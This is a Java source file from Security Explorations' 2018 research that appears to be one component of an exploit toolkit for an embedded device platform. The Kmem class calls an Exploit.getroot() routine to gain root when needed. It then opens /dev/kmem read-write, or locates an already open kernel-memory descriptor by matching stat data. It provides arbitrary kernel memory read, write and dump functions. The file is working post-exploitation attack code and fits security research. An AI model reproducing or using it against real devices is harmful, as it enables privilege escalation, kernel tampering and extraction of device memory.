/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;

public class Kmem {
 public static int BASE=0x80000000;

 public static final int BUFSIZE = 0x800;

 private static int fd;
 private static int res;

 private static int fstatdata[]={
  0x03, 0x1F, 0x00, 0x00, 
  0x01, 0x00, 0x00, 0x00,
  0xB0, 0x21, 0x01, 0x00,
  0x00, 0x00, 0x0A, 0x00,
  0x02, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00,
  0x00, 0x10, 0x00, 0x00
 };

 static {
  if (Config.isHERMES()) {
   if (!SysData.is_cached(SysData.SD_KMEMFD)) {
    fd=find_fd();

    SysData.cache(SysData.SD_KMEMFD,fd);
   } else {
    fd=SysData.get_cached(SysData.SD_KMEMFD);
   }
  } else

  if (Config.isCARBO()) {
   if (Syscall.getuid()!=0) {
ApiMonitor.log("getroot");
    Exploit.getroot();
ApiMonitor.log("getroot exit");
   }

   fd=Syscall.open("/dev/kmem",FSDefs.O_RDWR);
ApiMonitor.log("/dev/kmem inited");
  }

  res=NativeCode.getInstance().malloc(0x08);
 }

 private static int find_fd() {
  NativeCode nc=NativeCode.getInstance();

  int ptr=nc.malloc(16*4);

  for(int i=0;i<0x80;i++) {
   if (Syscall.fstat(i,ptr)==0) {
    int statbuf[]=Utils.buf2iarray(ptr,fstatdata.length);

    int matches=0;

    for(int j=0;j<statbuf.length;j++) {
     if (statbuf[j]==fstatdata[j]) matches++;
      else break;
    }

    if (matches==fstatdata.length) {
     nc.free(ptr);
     return i;
    }   
   }
  }

  nc.free(ptr);

  return -1;
 }

 public static int get_fd() {
  return fd;
 }

 public static int read(int kaddr,int ptr,int size) {
  Syscall.llseek(fd,0,kaddr,res,0);
  return Syscall.read(fd,ptr,size);
 }

 public static int write(int kaddr,int ptr,int size) {
  Syscall.llseek(fd,0,kaddr,res,0);
  return Syscall.write(fd,ptr,size);
 }

 public static int read_dword(int kaddr) {
  NativeCode nc=NativeCode.getInstance();

  int tmp=nc.malloc(0x04);
  Memory.write_dword(tmp,0);

  read(kaddr,tmp,0x04);
  
  int val=Memory.read_dword(tmp);

  nc.free(tmp);

  return val;
 }

 public static void write_dword(int kaddr,int val) {
  NativeCode nc=NativeCode.getInstance();

  int tmp=nc.malloc(0x04);
  Memory.write_dword(tmp,val);

  write(kaddr,tmp,0x04);

  nc.free(tmp);
 }

 public static void dump(int kaddr,int size) {
  NativeCode nc=NativeCode.getInstance();

  int buf=nc.malloc(BUFSIZE);

  try {
   String filename="kmem_"+Utils.hex_value(kaddr,8)+".dat";
   Output.text(filename);

   Output.integer(FSDefs.FGET_OK);
   Output.integer(size);

   Syscall.llseek(fd,0,kaddr,res,0);

   int total=size;

   while(total>0) {
    int cnt=(total>BUFSIZE) ? BUFSIZE:total; 

    FS.sys_read_fully(fd,buf,cnt);

    Output.mem(buf,cnt);

    total-=cnt; 
   }
  } catch(Throwable t) {} 

  nc.free(buf);
 }
 
}
